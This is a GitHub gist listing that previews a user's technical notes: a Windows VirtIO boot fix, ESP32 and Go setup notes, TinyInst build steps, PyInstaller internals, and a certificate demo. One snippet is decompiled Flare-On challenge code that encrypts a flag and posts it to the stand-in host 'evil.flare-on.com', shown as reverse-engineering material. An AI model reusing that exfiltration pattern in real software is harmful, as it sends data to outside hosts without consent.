Skip to content

Instantly share code, notes, and snippets.

View extremecoders-re's full-sized avatar
🐶
🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶🐶

extremecoders-re

🐶
🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶 🐶🐶
View GitHub Profile
@extremecoders-re
extremecoders-re / Missing-virtio-drivers-fix.md
Last active January 2, 2024 15:07
Windows VPS on SolusVM not booting due to VirtIO drivers not being loaded at boot time

This writeup describes the process to fix Windows not booting on a VirtIO disk. The VPS only boots when changing the "Disk Driver" to IDE on SolusVM. When the disk device is VirtIO windows fails to boot with an INACCESSIBLE_BOOT_DEVICE error.

The issue was likely caused due to installation of OSFMount software previously.

Creating a full disk image

Before starting, a full disk image of the VPS may be taken for safety. Enable rescue mode in SolusVM. It will then display the SSH connection credentials. Connect to the server using the same credentials from another server which has sufficient disk space to store the full disk image. Run lsblk to list the disk drives attached to the system. To inspect the disk manually, run mount in readonly mode as shown.

# mount -o ro /dev/vda1 /mnt
@extremecoders-re
extremecoders-re / esp32-development.md
Last active July 28, 2023 11:27
PlatformIO VSCode Setup (Linux) & ESP32 self notes

IDEs/Tools for ESP32 development

PlatformIO based tools can work both with Arduino as well as Espressif libraries.

@extremecoders-re
extremecoders-re / README.md
Last active April 13, 2024 18:43
Using VSCode with a conda go environment
$ conda create -n goenv go
$ conda activate goenv
(goenv) $ conda install -c conda-forge gxx_linux-64  # Required for the vscode go extension

Note the current goroot path

(goenv) $ go env GOROOT
@extremecoders-re
extremecoders-re / iprocshell.go
Created November 21, 2022 06:52
Interactive Process Shell
package main
import (
"bufio"
"fmt"
"io"
"os"
"os/exec"
"sync/atomic"
"time"
# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.11 (default, Jul 27 2021, 09:42:29) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: <frozen 11>
import crypt, base64, requests
config = {'url':'http://www.evil.flare-on.com', 'flag':b'Pyth0n_Prot3ction_tuRn3d_Up_t0_11@flare-on.com', 'key':b'PyArmor_Pr0tecteth_My_K3y'}
cipher = crypt.ARC4(config['key'])
flag = base64.b64encode(cipher.encrypt(config['flag']))
try:
requests.post((config['url']), data={'flag': flag})
@extremecoders-re
extremecoders-re / README.md
Created October 29, 2022 07:53
Compiling TinyInst on Windows

TinyInst is a lightweight dynamic instrumentation library that can be used to instrument only selected module(s) in the process, while leaving the rest of the process to run natively. It is meant to be easy to understand, easy to hack on and easy to hack with. It is not designed to be compatible with all targets (more on that later).

https://github.com/googleprojectzero/TinyInst

git clone https://github.com/googleprojectzero/TinyInst
cd TinyInst\third_party
rmdir /s mbuild
rmdir /s xed
git clone https://github.com/intelxed/mbuild
@extremecoders-re
extremecoders-re / ca_and_cert_golang_demo.go
Created May 20, 2020 07:34 — forked from shaneutt/LICENSE
Golang: Demonstrate creating a CA Certificate, and Creating and Signing Certs with the CA
package main
import (
"bytes"
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
@extremecoders-re
extremecoders-re / pyinstxtractor-notes.md
Last active March 26, 2020 19:44
PyInstaller Extractor notes

List of typecodes

pyinstaller/bootloader/src/pyi_archive.h

/* Types of CArchive items. */
#define ARCHIVE_ITEM_BINARY           'b'  /* binary */
#define ARCHIVE_ITEM_DEPENDENCY       'd'  /* runtime option */
#define ARCHIVE_ITEM_PYZ              'z'  /* zlib (pyz) - frozen Python code */
#define ARCHIVE_ITEM_ZIPFILE          'Z'  /* zlib (pyz) - frozen Python code */
@extremecoders-re
extremecoders-re / -finally-solving-the-weasel-keygenme.ipynb
Last active February 4, 2020 08:11
(Finally) Solving the Weasel keygenme.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.